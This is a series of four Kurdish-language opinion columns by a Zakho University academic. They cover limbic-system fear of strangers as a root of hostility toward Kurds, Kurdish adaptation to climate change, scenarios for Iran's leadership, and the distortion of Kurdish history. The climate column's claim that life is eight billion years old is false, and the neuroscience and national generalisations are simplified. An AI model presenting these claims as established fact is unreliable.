د. نەسرەدین ئیبراهیم گۆلی*

دەستكەفتێن زانستی یێن هەڤچەرخ ڤێ‌ راستیێ‌ دسەلمینن كو مرۆڤ ئێكسانە ب مەژی. ئانكۆ مێشك ئافرێنەرێ‌ هەمی رەفتار و كریار و بڕیارێن مرۆڤانە، و هیچ هێز و دامەزراوەیەك وەهمی یان مێتافیزیكی یان فاكتەرێن لاوەكی یێن دیتر بڕیارێ‌ ل سەر ڤێ‌ چەندێ‌ نادەن. ئەڤ دەستكەفتا مەزن د بنەڕەتدا بۆ بیروباوەرێن زانایێ‌ مەزنێ‌ بەریتانی، چارلز داروینی، دزڤڕیت كو پشتی سی سالان ژ ڤەكۆلینێن بێ‌ ڤەقەتیان ل دەوروبەری جیهانێ‌ گەهشتە ڤێ‌ راستیێ‌ كو مرۆڤ ژی وەكی هەر گیانەوەرەكێ‌ دیترێ‌ ڤێ‌ گەردوونێ‌ مەزن بەرهەمێ‌ زنجیرەكا گهۆڕینانە، كو د ماوەیێ‌ ملیۆنان سالان چێبووین. و د ڤێ‌ راستێدا مەژیێ‌ مرۆڤی ژ ڤێ‌ گهۆڕینێ‌ بێبەهر نەبوویە و د ماوەیێ‌ ڤان ملیۆنان سالان ژ پێشڤەچۆن و كاملبوونێ‌ ئەڤرۆكە د گۆپیتكا گەشەیا خۆ ل ئالیێ‌ ناڤچاڤانە پل ز ئەنیێ‌ دایە و هەمی بڕیارێن عەقلانی و لۆژیكیێن وی بەرهەمێ‌ ڤێ‌ گەشەیا بەرچاڤن، لێ‌ دگەل هندێ‌ ژی حاشا ل هندێ‌ ناهێتەكرن هندەك بەشێن وێ‌ هێشتان د نزمترین ئاستێ‌ خۆ دانە، و نەخاسمە كۆئەندام و بەشێ‌ سیستەمێ‌ لیمبیكێ‌ (limbic system) وێیە، كو ژێدەرێ‌ گەلەك بەرهەم و رەفتارێن خاڤێن مرۆڤینە. ئێك ژ وان بەرهەمان ترسە ژ جێوازیێ‌. سیستەمێ‌ لیمبیكێ‌ گیانەوەرێن دیترێن د بن مرۆڤیدا وەسا یێ‌ هاتیەئاڤاكرن كو تنێ‌ ل بەرامبەری گیانەوەرێن ژ جۆرێ‌ خۆ چ كارڤەدانێن تووڕەیی و تووندوتیژیێ‌ نینن بەلێ‌ ژ هەر جێوازییەكێ‌ دترسن. دناڤ سروشتیدا تنێ‌ چەند جۆرێن سنووردار و كێمێن هەین كو ژیانەكا ئاشتیخوازانە دگەل هەڤدۆ هەی. هەتاكۆ مرۆڤ ژی دگەل گیانەوەران دژین یێن كو نەك تنێ‌ ب تمامی بندەستێن وینە بەلكۆ ژی چ مەترسی و گەفەك ل سەر وی نینە و خزمەتا وی دكەن. ترسا خۆزایی ژ جێوازیێ‌ لنك مرۆڤان وەك ره و ریشال بناغەیەكێ‌ نەژادپەرستی و ترس ژ بیانیان (xenophobia) یێ‌ هەی، نەخاسمە هەكەر یێ‌ بیانی رەنگێ‌ پیستێ‌ وی یان سەروسیمایێ‌ وی جێواز بیت ژ سەروسیمایێ‌ پڕانیا ئەندامێن جڤاكا وی، لەوما وی كەسێ‌ بیانی ب گەف ل سەر خۆ دهژمێریت. و ب مخابنیڤە ئەڤ باوەرە هەتاكۆ یا دناڤ جڤاكێن پێشكەفتی دا ژی بوونا خۆ یا هەی. مرۆڤ دگەل ئێكەم پێنگاڤا سەرەدەریكرن دگەل كەسێن بیانی و بێی كو هیچ ماندیبوونەكێ‌ بێخنە بەر مێشكێ‌ خۆ دادبینییەكا بێبنەما و تژی ترس ژ گەفێ‌ لدۆر یێ‌ بیانی ددەن و وی كەسی كێم بهاتر ژ خۆ دبینن. و ئەڤ ترسە و یاسایا وێ‌ ل سەر لایەنێن دیترێن كەساتی و جڤاكی و كولتووری ژی جیبجی دبیت. چ كەسەكێ‌ كو چالاكی و بزاڤێن مەژیێ‌ وی ل ئاستێ‌ لیمبیكی شۆل دكەت نینە كو نەك تنێ‌ جێوازیێن سەرڤەیی، بەلكۆ یێن باوەری، هزری، و كەسۆكی یێن خەلكا دیتر ژی ب ئاسایی وەربگریت و تەحەمل بكەت، و لدەمێ‌ سەرەدەریكرن دگەل وان تووشی هەیەجانێن خاڤ نەبیت، و وان ب كێمتر و دبن خۆ دا یان ژی خرابتر ژ وێ‌ لادای نەهژمێریت. هندی ئاراستەیا بزاڤێن مەژیێ‌ كەسێ‌ لیمبیكیتر بن، ئەو كەس دەمارگیرتر، بێهن تەنگتر، و خۆدانێ‌ هەستێن خاڤترە، و بهایەكێ‌ كێمتر ددەتە ژیانا وان كەسێن جێواز ژ خۆ. مرۆڤێ‌ لیمبیكی ل هەمی كەس و تشتێن كو ب جێواز دبینیت، تووشی گۆمانان دبیت، و زالبوونا ڤێ‌ رەفتارێ‌ و ڤان جۆرە لێكدانا لنك وان ئەگەرێ‌ گەلەك ژ ململانێ‌ و ناكۆكییانە دناڤ جڤاكان دا و گەفا ل مرۆڤایەتیێ‌ دكەن.
و نموونەیا هەری زیندی ژی ئەو نەتەوەنە یێ‌ ژ بەدبەختی و بێ‌ ئێقبالییا كوردان بووینە جیرانێن وی و ئەڤرۆكە كوردستان بسەر واندا هاتییە دابەشكرن و ب هەمی رەنگان مە قەبیل ناكەن و ل سەر بنەمایێ‌ وەهم و لێكدانێن سیستەمێ‌ لیمبیكیێ‌ خۆ ژ مە دترسن و دگەل هندێ‌ كو ئەم مللەتەكێ‌ ئاشتیخواز و مرۆڤدۆست و بیانیدۆستین و چ جاران تەماعی د چ تشتێ‌ واندا و نەخاسمە خاك و ژێدەرێن ژیانێ‌ یێن وان نەكرینە، بەلێ‌ مە ب گەفەك ل سەر خۆ دبینن. ئەڤ لێكدان و تێگەهشتنا وان یا بێبنەما ژێدەرێ‌ هەمی وان تاوانانە یێن ئەڤە هزاران سالە دگەل مللەتێ‌ كورد دكەن. ترس ژ بیانیان روویێ‌ نەرێنیێ‌ دراڤێ‌ مەیلا رەفتارێن رەوشتی خۆزایێ‌ لنك مرۆڤانە، و ژبەركۆ ناسینا كەسۆكی و بەرژەوەندیێن هەڤبەش د جڤاكێن مرۆڤاتیێدا گرنگن، هەستێن رەوشتی، وەك داروین دبێژیت، بشێوەیەكێ‌ هەلبژارتی پێشڤەچۆن یا بسەر دا هاتی. باوەری هەبوون ب بیانییان و كێمكرنا ڤێ‌ ترسا بێ‌ بنەما پێدڤی ب دەم و ماندیبوون و كارێن مەزن و هەمی ئالی ل سەر ئاستێ‌ پەروەردە و فێركرن و راگەهاندن و جڤاكییە و ب مخابنیڤە هەستا هەڤسۆزیێ‌ ل نك وان نەتەوان بەرامبەر كوردان گەلەك لاواز و سست و خاڤە. ئەم پێدڤی ب رێككەفتن و پەیمانێن بهێزین كو ل سەر بنەمایێ‌ رێزگرتن ل هەڤدۆ و ئێكدۆ قەبیل كرن و نەترسان ژ بیانی و جێوازییان بهێنەئاڤاكرن و گرێدان. ئەو پێدڤی ب بخۆداچوونێ‌ و گوهۆرینێ‌ و دەركەفتن ژ سنوورێن خاڤێن سیستەمێ‌ لیمبیكی و زڤڕین بۆ بنەمایێن ئاستێن بلندێن ئەقلانیەت و لۆژیكێ‌ و زانستینە. تنێ‌ ب پەروەردەیەكا دۆمدرێژ ل سەنتەرێن پێگەهاندنا جڤاكی دێ‌ هیڤی هەبن نفشێن پاشەڕۆژا ڤان نەتەوان ئەڤ ترسا لیمبیكی لنك نەمینیت و مللەتێ‌ مە ب هەمی جێوازیێن جۆگرافیایی، كولتووری، سایكۆلۆژی و جڤاكی قەبیل بكەن و دان ب هەمی مافێن مە بنێن و رێزێ‌ ل سەربخۆیی و ئازادییا مە بگرن و دەستا ژ ركێن وێرانكەرێن دەمارگیر بینن. چونكو مە كوردان چ ل سەر خۆ نەهێلان و هەمی جۆرێن خەباتا، ب چەك و بێ‌ چەك و دیمۆكراسی و سیاسی جەڕباندن، بەلێ‌ هێشتان و ل چەرخێ‌ بیست و ئێكێ‌ ژی مە ژبەر رەفتارێن وان یێن سیاسی چ خۆشی بخۆ نینە، و تنێ‌ هیڤییا مە ئەڤ گهۆڕینا مەزنە د واندا چێببیت و هندەك بارێ‌ سایكۆلۆژیێ‌ تاكێ‌ كوردی ل هەمی پارچێن كوردستانێ‌ ئارامتر ببن.
* پرۆفیسۆرێ‌ هاریكار/ زانكۆیا زاخۆ

د. نەسرەدین ئیبراهیم گۆلی*

ل وان 14 ملیار سالێن ئەڤ هەمی گەردوونە ژ بوویەرا بێگ بەنگێ‌ چێبووین، هەتا هەشت ملیار سالێن ژیان ژ بەكتریەكێ‌ چێبووی و هەتا پێنج ملیۆن سالێن مرۆڤ ژ گیانەوەرێن زیندی یێن پێشی خۆ چێبووی، گەردوون و گیانەوەر هەمی بەردەوام د گوهۆڕینێ‌ دا بوویە. ب هزاران جۆرێن گیانەوەران د ماوەیێ‌ هەشت ملیار سالان یێن هاتینە گۆڕەپانا عەردی و یێن ژناڤچووین.
پێدچیت ژینگەهێ‌ بڤێت جارەكا دیتر خۆ نوی بكەت. ل دویڤ وان پێشبینی یێن دهێنەكرن وەسا دهێتەچاڤەڕێكرن د چەندەها سالێن بهێتە پلەیێن گەرمێ‌ دێ‌ بەردەوام بلندتر بن. ئەگەر ژی گوهۆڕینا سەقای و ژینگەهی و پیسبوون و زۆربوونا ژمارەیا ئاكنجیێن سەر ئەردی و گوهۆڕین د تەخێ‌ ئۆزۆنی نە. پرسیار ئەوە: دێ‌ داهاتی و پاشەڕۆژا مرۆڤایەتی چ بیت؟ د بەرسڤا ڤێ‌ پرسیارێ‌ دا ب پێدڤی دهێتە زانین دو تێگەهێن سازان (adjustment) و خۆگۆنجاندن (adaptation) بهێنە رۆهنكرن. تێگەهێ‌ ئێكەم پترتر ئالیێ‌ سایكۆلۆژی و جڤاكی، و یێ‌ دوویێ‌ لایەنێ‌ بایولۆژی بخۆڤەدگریت و ئێكە ژ تێگەهێن سەرەكیێن بیردۆزا داروینی، و مەبەست ژێ‌ خۆگۆنجاندنا فسیۆلۆجی و كەلەشیێ‌ بوونەوەرەكی (و مرۆڤەكی) یە دگەل گهۆڕینێن ژینگەهی، و ژ وان ژی پلەیێن گەرمێ‌.
وەسا دیارە ئەڤ گهۆڕینێن سەقای و بلندبوونا پلەیێن گەرمایێ‌ دێ‌ بنە ئەگەرێ‌ مرنا سەدان و هزاران كەسان، ئەوێن نەشێن خۆ ل بەر ڤێ‌ گەرمێ‌ و گوهۆڕینێ‌ بگرن، وەكی داروین بەحس دكەت، تنێ‌ ئەو مرۆڤ دێ‌ میننە ساخ ئەوێن بشێن خۆ دگەل ڤێ‌ گوهۆڕینێ‌ دا بگۆنجینن و وەكی چاوا حێشترێ‌ د ماوەیێ‌ سەدان هزار سالان خۆ ل گەل ژینگەها بیابانی گۆنجاندی و كەلەخ و بایۆلۆژییا وی هاتیە گوهۆڕین، دا بشێت خۆ لبەر گەرمایا دژوارا بیابانی بگریت.
دبیت كورد ژ ئێك بیت ژ وان نەتەوەیێن كێمتر ژ زۆر نەتەوەیێن دیتر زیان ڤێكەفتین، چونكی ژ لایەكیڤە دەڤەرێن وی نێزیكە ژ دەڤەرێن گەرم، و دشێت هێدی هێدی و ب بۆرینا چەندەها دەه سالان خۆ ل گەل گوهۆڕینێن سەقای دا بگۆنجینیت و ژ لایێ‌ بایۆلۆژیڤە گوهۆڕین د كەلواشێ‌ دی دا دروست ببن. ژ لایەك دیترڤە و لدویڤ ئەزموونا سەد سالێن بۆری یێن كوردان، ئەوان شیایە خۆ ژ لایێ‌ سایكۆلۆژی و جڤاكی ڤە دگەل رەوشێن دژوارێن سیاسی دا بگۆنجینن و خۆ ژ ژناڤچۆنێ‌ بپارێزن.
هەر نەتەوەیەك دیتر بایە دبن ڤان گەفێن جینۆساید و قڕكرن و ئەنفال و كێمیاباران و تاوانێن دیتر، بێگومان هەتا نۆكە زەوالا وان هاتبی و بەلگە ژی بۆ ڤێ‌ ئاخفتنێ‌ گەلەك نەتەوەنە ل دەڤەرێ‌ كو نۆكە تنێ‌ ناڤێ‌ وان یێ‌ د دیرۆكێ دا مای. بەلێ‌ كورد یێن ماین پاراستی. ب گۆتنەك دیتر ئەو زۆڵم و زۆردارییا ل نەتەوێ‌ كورد هاتییەكرن، ب ئەرێنی بۆ دزڤڕیت و دبیتە ئەگەرێ‌ هندێ‌ ئەم خۆ لبەر گهۆڕینێن سەقای و ژینگەهی ژی بگرین، و وەك زۆر نەتەوەیێن كو ژناڤچووین، نەبین و ب زیانەك كێمتر ژ ڤێ‌ رەوشا دژوار دەربچین.
خۆگۆنجاندنا كوردان ل گەل ژینگەهێ‌ و گوهۆڕینێن وێ‌ تنێ‌ لایەنێ‌ فیزیۆلۆژیك ناگریت، بەلكۆ لایەنێ‌ سایكۆسۆسیۆلۆژی ژی دگریت و د ڤی ئاراستەی دا و ب ئەزموونا دویر و درێژا تەحل و دژوارا دیرۆكا خۆ یا سیاسی و جڤاكی، هندەك رەفتارێن سایكۆلۆژی یێن كو كوردان ل هەڤدۆ نێزیك دكەت، نەخاسمە هەڤژانی و هەڤسۆزیێ‌ لنك وان زێدە بكەت و گەلەك ژ وان رەفتارێن دژبەر وەكی خیانەت و دووبەرەكی و … هتد، دناڤ كوردان دا نەمینن و ئەڤ گوهۆڕینە مل ب ملێ‌ گوهۆڕینێن ژینگەهی و سەقایی كوردان ل هەمبەر ژینگەها زۆردارا چەند سەد سالێن داهاتووی قایمتر بكەت و كورد د پرۆسەیا گوهۆڕینێن دژوار دا بشێن بەردەوامیێ‌ ب نفشێ‌ خۆ بدەن و نەخاسمە لایەنێ‌ جڤاكی و سایكۆلۆژی، بۆ ماوەیێ‌ هزاران سالێن داهاتووی.
* پرۆفیسۆرێ‌ هاریكار/ زانكۆیا زاخۆ

د. نەسرەدین ئیبراهیم گۆلی *

شرۆڤەیا بابەتێ‌ سیاسی ل وەلاتەكی بێی شرۆڤەیا سایكۆلۆژییا خەلك و سەركردەیێن وی وەلاتی چ رامان و بهایێ‌ خۆ نینە، چونكی ئەو بڕیارێن د ڤی بیاڤیدا دهێنەدان ب شێوەیەكێ‌ ئێكسەر گرێداینە ب كەساتی و بیروباوەر و سایكۆلۆژییا وان ڤە و نەخاسمە كەسێن بڕیاردەر. پشتی كو كەسێن ئایینی ل وەلاتێ‌ ئیرانێ‌ و پشتی راپەرینا سالا 1979 ژ دەستێن خۆدانێن رەسەن و خەلكێ‌ ئینایەدەر و كۆنترۆلكری، هەمی بڕیارێن سیاسی كەفتنە دەستێن خومەینی و پشتی وی ژی خامەنەیی. ڤان هەردو رێبەرێن بالایێن ویلایەتا فەقیە ل ڤی وەلاتی پشكەك مەزن ژ بڕیارێن خۆ یێن سیاسی ل سەر بنەمایێ‌ وێ‌ یاسایا سایكۆلۆژی دەینان ئەوا ئێدوارد سۆرندایك، دەروونناسێ‌ مەزنێ‌ ئەمریكی، د تیۆرییا خۆ یا بناڤۆدەنگ ل دۆر پرۆسێسا فێربوونێ‌ ئاماژە پێدای و ناڤێ‌ وێ‌ بزاڤ و خەلەتیكرنە (trial and error). ئانكۆ كەسەك كارەكی بكەت و پاشی بەرێ خۆ بدەتێ‌ كا دێ‌ ئەنجام چ بیت. ئەڤ یاسایە بنەمایێ‌ گەلەك ژ رەفتار و كریارێن رۆژانەیێن مرۆڤ و گیانەوەرانە و گرنگییەكا تایبەت یا هەی. ڤی كاری نێزیكی 46 سالێن دەستهەلاتا سیاسییا ڤان هەردو كەساتییان كاكلا بڕیار و ئەنجامێن سیاسی بوون، بۆ نموونە د شەڕێ‌ هەشت سالیێ‌ ئیران و ئیراقێ‌ دا شكەستنەك مەزن بۆ ڤی وەلاتی ب دیاری ئینا. ئیران بزاڤا دوبارەكرنا وێ‌ دكەت.
بەلێ‌ د كاودانێ‌ نوكە دا هێدی بۆ تاقیكرنا ڤێ‌ یاسایێ‌ گەلەك درەنگە. ئیران یا د ناڤبەرا دو ڕێیان یان باشترە بێژین چەند رێیانەكێ دایە كو ل دویڤ باوەرا هندەك شارەزایێن سیاسی و لەشكری كیژكێ‌ هەلبژێریت هەر دۆڕاندنە. بەلێ‌ ب شێوەیەكێ‌ گشتی كاودانێن نۆكە یێن گۆڕەپانا سیاسییا ئیرانێ‌ یا د رەوشەك وەسا دا دەرباز دبیت كو تەخمین دهێتەكرن ئەڤێن خوارێ‌ دیارترین سیناریۆیێن وێ‌ بن:
یان ئیران دێ‌ دەست ژ زڕتەكییا خۆ بەردەت و ب سەرشۆڕیڤە تەسلیمی داخوازیێن ئەمریكا بیت و پرۆگرامێ‌ ئەتۆمی و مووشەكێن بالیستیێن خۆ راوستینیت و بهێزترین پالدەر ژی بۆ ڤێ‌ چەندێ‌ ئەون ئیرانێ‌ هێدی ئەو هێزێن هەرێمی یێن وەكی حزبۆللا و حەماس و حەشدا شەعبی و حۆسی و… هتد، نینن پێش ڤی وەلاتیڤە شەڕێ‌ ب وەكالەت دگەل نەیارێن ئیرانێ‌ بكەت و ئەمریكا و ئیسرائیلێ‌ هەمی ئەو لایەن یێن لاواز یان بێدەنگ كرین و هێدی هێز و شیان بۆ وان نەهێلاینە. ژ لایەك دیترڤە ئیرانێ‌ د پرۆژەیا ب شیعەكرنا دەڤەرێ‌ دا و بەلاڤكرنا وێ‌ و دروستكرنا هیلالا شیعی شكەستنەك مەزن ئینایە و د نوكە دا مەزنترین ئارمانجا وێ‌ پاراستنا خۆیە، چونكی هەبوونا وێ‌ یا كەفتیە بە هێڕش و گەفێن ئەمریكا و ئیسرائیلێ‌، و لدویڤ فەتوایێن مەرجەعێن بلایێن وەكی خۆمەینی « پاراستنا حوكمەتا ئیسلامییا ئیرانێ‌ ژ نڤێژا شەڤێ‌ ژی فەرترە»، ئەڤ كارە پێدڤییە ب هەر رەنگەكێ‌ هەی بهێتەكرن، هەتاكو هەكەر ب بهایێ‌ ژ دەستدانا گەلەك بها و پرستیژ و بیروباوەر و بنەمایێن دۆكتۆریەنا دانەرێن بناغێ‌ كۆمارا ئیسلامییا ئیرانێ‌ و شیعەگەریێ‌ ژی بدوماهی بێت. و دویر نینە ئەڤ سیناریۆیە ب بهایێ‌ بۆردۆمانكرن و ژناڤبرنا هەمی بنگەهێن چەكێ‌ ئەتۆمی و بالیستی یێن وی وەلاتی ژی بدوماهی بێت بەلێ‌ ئیران دێ‌ پێ‌ رازی و دلخۆش بیت چونكی هیچ نەبیت دێ‌ بۆ ماوەیەكێ‌ دیتر دەستهەلاتا وان بەردەوام بیت.سیناریۆیەك دیتر یێ‌ كو دهێتەچاڤەڕێكرن ئەوە ئیران دەست ب ركمانەیێ‌ بكەت و دگەل ئەمریكا و ئیسرائیلێ‌ بكەڤتە شەڕەكی دژوار، و ئەڤە ژی سیناریۆیەك لاوازە چونكی ئیرانێ‌ ئەو شیان نینن دگەل ڤان دو وەلاتێن پێشكەفتی بكەڤیتە د رووی ب روویبوونەكا ئێكسەر دا كو خۆدان شیانێن لۆجستیكی و تەكنەلۆژییەكا پێشكەفتی و سەردەمیانەنە و دشێن عەجەلۆكا لەشكەرییا ئیرانێ‌ د ماوەیەكێ‌ كورت دا، هەروەكی ل گەل سەدامێ‌ گۆڕ ب گۆڕ هاتەكرن، ژناڤ ببەن. نەخاسمە ئەڤ دو وەلاتە خالێن لاوازیێن ئیرانێ‌ باش ناس دكەن و ب سەدان سیخۆرێن ل ئاستێن بالا د ناڤ تەخا سیاسی و لەشكەری یا ئیرانێ دا هەی و ژ لایەك دیترڤە ل دوماهی هێڕشا ئیسرائیلێ‌ بۆ سەر بنگەهێن لەشكریێن ئیرانێ‌ پشكەك ژ ئالاڤێن وێ‌ ژناڤبرن و هەتاكو ئەو چەكێ‌ رۆسیا ژی دابیە ئیرانێ‌ بۆ پاراستنا ئەسمانی یان یێ‌ ژ كاركەفتی یان كیماسی د بكارئینانا وان دا هەبیە و ب كێر ناهێن. ژلایەك دیترڤە ئەو فاكتەرێن ئەگەرا ڤێ‌ سیناریۆیێ‌ لاوازتر دكەن ئەڤەنە: ئیرانێ‌ نەك تنێ‌ پشتەڤانییا جڤاكی یا خەلكێ‌ ئیرانێ‌ نینە بەلكو پشتی دۆرپێچێن توندێن ئەمریكا و رۆژئاڤا لسەر ڤی وەلاتی نەخاسمە لایەنێ‌ ئابووری و ژێدەرێن پارەداركرن و فرۆتنا پەترۆلا وێ‌، هێدی چ باوەری ب هندێ‌ نینە بێژین بەلكو خەلكەك هەبیت وەكی سەردەمێ‌ شەڕێ‌ ئیران و ئیراقێ‌ ب هزار هزاران بچن و بۆ ڤی وەلاتی شەڕی بكەن و هەمی بزاڤێن كۆمارا ئیسلامی بۆ ڤێ‌ چەندێ‌ چ مفایێ‌ خۆ نەبینە. هەتاكۆ بڕیار و گۆتار و رەفتارێن رێبەر و سەركردەیێن بالایێن ئیرانێ‌ كارتێكرنەك نەرێنی یا لسەر سایكۆلۆژییا دویڤەلانك و ئالیگرێن رژێمێ‌ بخۆ ژی كرین و هێدی ئەوان ژی باوەری ب درووشمێن حوكمەت و رێبەرێ‌ خۆ نەماینە. خەلكێ‌ ئیرانێ‌ ل بن سیبەرا رەشا كۆمارا ئیسلامییا ئیرانێ‌ د ژەنگا ددانی دا دژین و سفرا خەلكێ‌ هند ڤالەیە هێدی وان شیانێن پەیداكرنا كێمترین پێدڤیاتیێن وەكی خوارنێ‌ ژی نەماینە. بێگومان ڤێ‌ رەوشا ئابوورییا نەخۆش مەزنترین كارتێكرنێن جڤاكی و سایكۆلۆژی لسەر كەساتییا تاكێ‌ ئیرانێ‌ هەبیە و خەلك دزانیت ئەگەرێ‌ ڤی كاودانێ‌ خراب دەستهەلاتا سیاسییا وەلاتییە كو ب ڕێیا سیاسەتا شاشا خۆ دروستكری و ل شوینا مەزاختنا وی پارەی و داهاتێ‌ وەلاتی ل خزمەتگۆزاریێن گشتی و خۆشتركرنا ژیانا خەلكێ‌ ل دروستكرنا چەكێ‌ ئەتۆمی و بالستیكی و ژ وان وێڤەتر ژی ل هێز و ل لاتێن هەرێمی و دەرڤەی وەلاتی دمەزێخیت.
سیناریۆیەكا دیتر ژی دهێتە چاڤەڕێكرن و ئەو ژی لاوازكرنا دەستهەلاتا سیاسی یە ژ لایێ‌ ئەمریكا و ئیسرائیلێ‌ ڤە ب ڕێیا تیرۆركرنا سەركردە و فەرماندەیێن بالایێن سیاسی و لەشكری یێ‌ وێ‌، هینگی دەلیڤەیەك بۆ خەلكێ‌ چیببیت ب سەرهلدانەك مەزن ب ئێكجاری ره و ریشالێن حوكمەتا نۆكە بهەڕفینن و دەستهەلاتەك سیاسی و دیمۆكراسی ل ڤی وەلاتی بێتە سەر كۆرسیكێ‌ دەستهەلاتێ‌، كو وێ‌ ژی گەلەك لایەنێن ئەرێنی و نەرێنی و ئاستەنگیێن خۆ یێن هەین كو ژ دەرڤەی ڤێ‌ گۆتارێیە، كو یا ش هەمییا دیارتر نەبینا ئۆپۆزیسیۆنەك ئێكگرتی و رێكخستییە بۆ بڕێڤەبرنا وێ‌ سەرهلدانێ‌ و نەخاسمە چەندین جاران سەرهلدانێن د ماوەیێ‌ 46 سالێن دەستهەلاتا سیاسییا كۆمارا ئیسلامیدا یێن چێبووین بەلێ‌ ب دڕندانەترین شێوە هاتینە تەپەسەركرن و چ بەرهەمەك ژێ‌ شین نەبیە.
ل دوماهیێ‌ پێدڤییە بهێتە گۆتن تنێ‌ بۆرینا دەمی دشێت بەرسڤا ڤێ‌ پرسیارێ‌ بهێتەدان كا دێ‌ چ روویدەت و نەخاسمە وەكی ئەمیر تاهری، سەرنڤیسەرێ‌ بەرێ‌ یێ‌ رۆژناما ب ناڤۆدەنگا كەیهانا ئیرانی، دبێژیت كەساتی و سایكۆلۆژییا رێبەرێ‌ ئیرانێ‌ نە یێ‌ رۆهن و زەلالە و مرۆڤ نەشێت پێشبینی بكەت دێ‌ د ڤان هەلوەست و كاودانێن هۆسا ئالۆز دا چ بەرسڤ و رەفتار و بڕیارەك هەبیت و یا دیارە ترەمپ ژی ژ وی باشتر نینە و دبیت زێدەبار و بەروڤاژی وێ‌ توندییا نوكە نیشاددەت رەفتارەك و بڕیارەكا نەچاڤەڕێكری هەبیت. بەلێ‌ ئەوا گرنگە خەلكێ‌ ئاسایی د ڤی كاودانی دا نەبیتە پێخوارن و قوربانیێ‌ سیاسەتێ‌، چونكی ژ روویێ‌ سایكۆلۆژیڤە گەلەك یێ‌ هەڕفتی و نەیا بەرئاقلە دیساڤە باجا ڤان هەمی بڕیار و رەفتارێن خەلەت بدەن.

* پرۆفیسۆرێ‌ هاریكار/ زانكۆیا زاخۆ

د. نەسرەدین ئیبراهیم گۆلی

هەر دوو زانستێن مێژوو و سایكۆلۆژیا د خالەكێدا ئێكدیتر دگرن كە زانستەكە بناڤێ‌ سایكۆلۆژیایا دیرۆكی، كە بۆ مەبەستێ‌ مفا وەرگرتنا زانستی ژ لایەنێن سایكۆلۆژیێن دیاردە و روویدانێن دیرۆكی ڕادبیت ب شرۆڤەكرنا دیرۆكێ‌. چ گۆمان تێدا نینە هەكەر دیرۆك ب دروستی و ل سەر دەستێن پاقژ و بێ‌ لایەن هاتبیتە تۆماركرن مەزنترین مفایێ‌ دێ‌ گەهینیتە كاروانێ‌ شارستانیەتا مرۆڤایەتیێ‌. بەلێ‌ هەكەر چەواشەكرن تێدا و ب سەردا زال بیت كارتێكرنێن نەرینی لسەر ناخ و سایكۆلۆژیایا تاكێن جڤاكێ‌ و نەتەوەیەكێ‌ و هەتاكۆ چارەنڤیسا وان دكەت. نموونەیا هەرە دیارا ڤێ‌ گریمانەیێ‌ نەتەوەێ‌ كوردە كە بدرێژاهییا چەندەها سەدسالانە و لژێر ناڤ و نیشان و لسەر دەستێ‌ دوژمنێن وێ‌، خۆدێ‌ وی و دیرۆكا نەتەواتییا وی یێ‌ هاتیە شێواندن و بەرزەكرن. بۆ مەبەستێن سیاسی گەلەك جاران دوژمنان دویڤەلانكێن وەسا یێن ب كوردا ڤەناندین كە كارتێكرنەكا نەرینی یا سایكۆلۆژیا مەزن یا لسەر ناخ و دەروونێ‌ ویدا كرین. ئایا تاكەكێ‌ كورد دێ‌ چاوا و ب چ دلەكی دلێ‌ خۆ بەتە دەولەت و كیانەك سیاسی و سەربخۆ و ئازاد و دویر ژ ئاژاوە و ژ ئاریشەیا ل دەمەكی كە وەسا هاتبیتە تێگەهاندن كە ئەو هەم ب ئایین و هەم ب نەتەوە سەر ب عەرەبانە؟ یان دەمێ‌ وەسا هاتبیتە گۆتن كە كورد ئەو نەتەوەیە یێ‌ كۆ ئیبراهیم پێغەمبەر هاڤێتیە د ئاگریدا و سۆتی یان كورد سەر ب ئەجنانە و نەمرۆڤێن ئاسایینە یان پیسترین نەتەوەنە یان نەتەوەیەكێ‌ پاشكەفتینە و نەزان و (جاهێلن) و یان كافرن و … هتد؟ یان دەمێ‌ ئەم بخۆ و دیرۆكنڤیسێن مە ب خۆ بەردەوام خۆ ب نەتەوەیەكێ‌ خیانەتكار ل قەلەمددەین ل دەمەكی كە ئەڤ رەفتارە د هەمی سەردەمەكی دا و دیرۆكا مرۆڤایەتیێ‌ و د ناڤ هەمی نەتەوەیان دا دهێتە دیتن؟ دێ‌ تاكەكێ‌ كوردی چاوا بزاڤێ‌ كەتن كە ببیتە خۆدان وەلاتەكێ‌ سەربخۆ ل دەمەكی كە دوژمنان پنیێن پیڤەناندین و وان ب «هەبوونا ململانێ‌ د ناڤ خۆ دا» تۆمەتبار دكەن، بێی هندێ‌ ئەم هزرێ‌ د هندێ‌ دا بكەین كە ململانێ‌ و جیاوازییا بیروباوەر و ئایدیۆلۆژییایێ‌ تشتەك سروشتییە، بەلكۆ هندەك جاران پێدڤی و فەرە بۆ پێشكەفتنێ‌. هندەك نموونە د دیرۆكێدا د ناڤ نەتەوەیێن دیتر دا رووی ددەن كە گۆپیتكا ململانێیا ناڤخۆیی د ناڤ وان دا نیشاددەت وەك كۆشتنا برای ل سەر دەستێ‌ برای یان باب و كۆڕی ل سەر دەستێ‌ ئێكدیتر ژ پێخەمەت دەستهەلاتێ‌ د ناڤ خەلیفەیێن عەباسی و عۆسمانیان دا. ئەرێ هەكەر كار و رەفتارەك ژ ڤی بابەتی د ناڤ نەتەوەیێ‌ كوردی و دەستهەلاتدار و سیاسەتوانێن وێ‌ دا بهێتەدیتن نە تشتەك سروشتییە وەك هەر نەتەوە و مرۆڤەك دیتر؟ ئەرێ ل دەمێ‌ ئەم دیرۆكێ‌ دنڤێسین و دەمێ‌ دیرۆكنڤیسێن مە و ل بن كارتێكرنا هزر و بیرباوەرێن دوژمنان و ڤان وێنەیێن خەلەت و شێواندی ژ كەساتییا تاكێ‌ كوردی دیرۆكێ‌ بۆ نفشێ‌ دویڤ خۆ تۆمار دكەین وێ‌ دیرۆكێ‌ ناشێوینین و وێنەیەكێ‌ خەلەت ژ كەساتییا تاك و سەركردەیێن كورد بۆ وان ناڤەگۆهێزین و وان ژی تووشی شاشیێ‌ ناكەین؟ و ڕاستەوخۆ نابینە ئاستەنگ و بەربەستەك بۆ هزر و ئارمانج و رەفتار و بزاڤ و خەباتا وان ژپێخەمەت هەبوونا كیانەك سەربخۆ وەكی هەر نەتەوەیەك دیتر كە ژ رەفتارێن ململانێ‌ و ڕكابەراتیێ‌ ڤالە نەبووینە نۆكە ژی خۆدان كیان و وەلاتێن سەربخۆنە ل دەمەكی كە هندەك ژ وان چارێكا نەتەوەیێ‌ مە كەڤنارە نینە و هندی مە خزمەتا مرۆڤایەتیێ‌ و شارستانیەتێ‌ نەكرینە و هندی مە قۆربانی نەداینە و هندی كوردان بەرپەڕێن دیرۆكا وان پاقژ و بێگەرد نینە؟

ژێـدەر:ـ
